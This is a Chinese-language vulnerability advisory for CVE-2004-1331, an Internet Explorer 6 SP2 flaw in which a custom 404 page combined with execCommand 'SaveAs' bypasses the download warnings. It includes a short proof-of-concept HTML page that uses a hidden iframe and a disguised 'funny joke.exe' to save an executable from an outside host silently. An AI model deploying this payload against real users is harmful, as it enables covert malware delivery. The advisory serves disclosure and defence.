Microsoft IE定制404错误及exeCommand SaveAs下载警告绕过漏洞
发布日期：2004-11-19
更新日期：2004-11-22
受影响系统：Microsoft Internet Explorer 6.0SP2
- Microsoft Windows XP Professional SP2
- Microsoft Windows XP Home SP2
描述：
BUGTRAQ ID:
11686
CVE(CAN) ID:
CVE-2004-1331
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer没有正确处理包含部分字符的URL，远程攻击者可以利用这个漏洞绕过XP SP2的文件下载警告消息而直接下载保存文件。
远程用户可以建立一个定制的HTTP 404错误消息，并传递这个消息到execCommand 'SaveAs'方法来绕过'文件下载'和'文件打开'的安全警告，攻击者可以下载任意文件到目标用户系统而对用户没有警告信息提示。
<*来源：K-OTiK Security （
Special-Alerts@k-otik.com）
链接：
http://www.k-otik.com/exploits/20041119.IESP2disclosure.php
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
K-OTiK Security （
Special-Alerts@k-otik.com）提供了如下测试方法：
<html>
<body>
<iframe src='
http://domain.com/v.exe?.htm' name="NotFound" width="0" height="0"></iframe>Click
<a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">
here</a>.
</body>
</html>
如下的HTML，当目标用户下载的时候，会触发下载提示：
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>
用户会被询问以HTML文档保存文件，而不会警告保存的文件是可执行文件，如果使用了'隐藏已知文件类型的文件扩展'选项，那么如上的例子就会把文件名显示为'funny joke'来代替实际的'funny joke.exe'。
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp浏览次数：3264
严重程度：0（网友投票）
